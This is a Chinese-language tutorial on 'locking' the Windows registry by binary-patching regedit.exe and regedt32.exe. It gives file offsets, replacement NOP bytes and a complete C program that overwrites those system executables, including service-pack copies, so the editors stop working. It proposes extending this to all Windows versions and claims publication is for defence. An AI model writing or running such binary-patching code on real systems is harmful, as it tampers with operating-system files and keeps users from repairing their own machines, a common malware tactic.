注冊(cè)表終極操作——鎖定注冊(cè)表

字號(hào):

你有沒(méi)有遇到注冊(cè)表被鎖定,無(wú)法打開注冊(cè)表來(lái)手工修復(fù)呢?很多人都為這個(gè)頭疼吧,相信你被鎖定一次就知道他的操作原理了:
    修改[HKEY_CURRENT_USER\Software\
    Microsoft\Windows\Current
    Version\PolicIEs\System]下的DisableRegistryTools值為1
    解鎖的方法也有幾種,比如程序用API函數(shù)調(diào)用注冊(cè)表直接刪除,做一個(gè)REG文件直接導(dǎo)入,寫一個(gè)腳本…………
    今天我就教大家寫個(gè)程序來(lái)實(shí)現(xiàn)另類鎖定,是不是很好奇了?跟我來(lái)。
    實(shí)驗(yàn)環(huán)境:Windows2000
    實(shí)驗(yàn)?zāi)康模烘i定注冊(cè)表(本方法利用了Cracker的思路來(lái)實(shí)現(xiàn),直接讓程序修改程序指令,使調(diào)用注冊(cè)表程序禁止。)
    實(shí)現(xiàn)方法:C程序
    首先我們要按照Cracker的思路反匯編WINNT下的regedit.exe和regedt32.exe找到跳轉(zhuǎn)指令,怎么得到這些信息不是我們今天的目的,這里我就不詳細(xì)介紹了,以下是我反匯編找到的跳轉(zhuǎn)地址:
    1.regedit.exe
    偏移地址:0x69CA 將指令:0x74 0x1A 修改成:0x90 0x90
    2.regedt32.exe
    偏移地址:0x10bf2 將指令:0x74 0x52 修改成:0x90 0x90
    現(xiàn)在我們用程序把這2個(gè)偏移地址的指令給修改成0x90 0x90 ( 0x90代表nop,就是讓程序什么也不做,執(zhí)行下一條指令)讓我們看看程序是如何實(shí)現(xiàn)的吧。
    #include
    #include
    bool scanreg(const char *file,long offset, int length,char *the); /*函數(shù)說(shuō)明*/
    main()
    {
    char the[]={ 0x90,0x90 };
    scanreg("C:\\WINNT\\regedit.exe",0x69CA,0x02,the); /*調(diào)用函數(shù)修改winnt下的regedit.exe 其中的0x02是修改長(zhǎng)度*/
    scanreg("C:\\WINNT\\ServicePackFiles\\i386\\regedit.exe",0x69CA,0x02,the); /*調(diào)用函數(shù)改變補(bǔ)丁下regedit.exe*/
    scanreg("C:\\WINNT\\system32\\regedt32.exe",0x10bf2,0x02,the); /*調(diào)用函數(shù)修改system32下的regedt32.exe */
    scanreg("C:\\WINNT\\ServicePackFiles\\i386\\regedt32.exe",0x10bf2,0x02,the); /*調(diào)用函數(shù)改變補(bǔ)丁下regedt32.exe*/
    }
    bool scanreg(const char *file,long offset, int length,char *the)
    {
    FILE *fp = NULL;
    bool result=false;
    if((fp=fopen(file,"rb+"))!=NULL) /*打開文件進(jìn)行讀寫操作*/
    {
    fseek(fp,offset,1); /*把指針指向我們定義的偏移地址*/
    fwrite(the,length,1,fp); /*修改程序,把指令替換成0x90*/
    fclose(fp); /*關(guān)閉文件*/
    result=true;
    }
    return(result);
    }
    好了,我這里只是一個(gè)示范,只適合2000系統(tǒng),把windows每種系統(tǒng)的注冊(cè)表調(diào)用程序都分析一下,然后在程序開始用API函數(shù)GetVersionEx(LPOSVERSIONINFO lpVersionInfo)判斷系統(tǒng),根據(jù)判斷的系統(tǒng)來(lái)調(diào)用相應(yīng)的修改函數(shù)。那不是通殺windows了?上面把方法公布出來(lái),以便大家做好防范。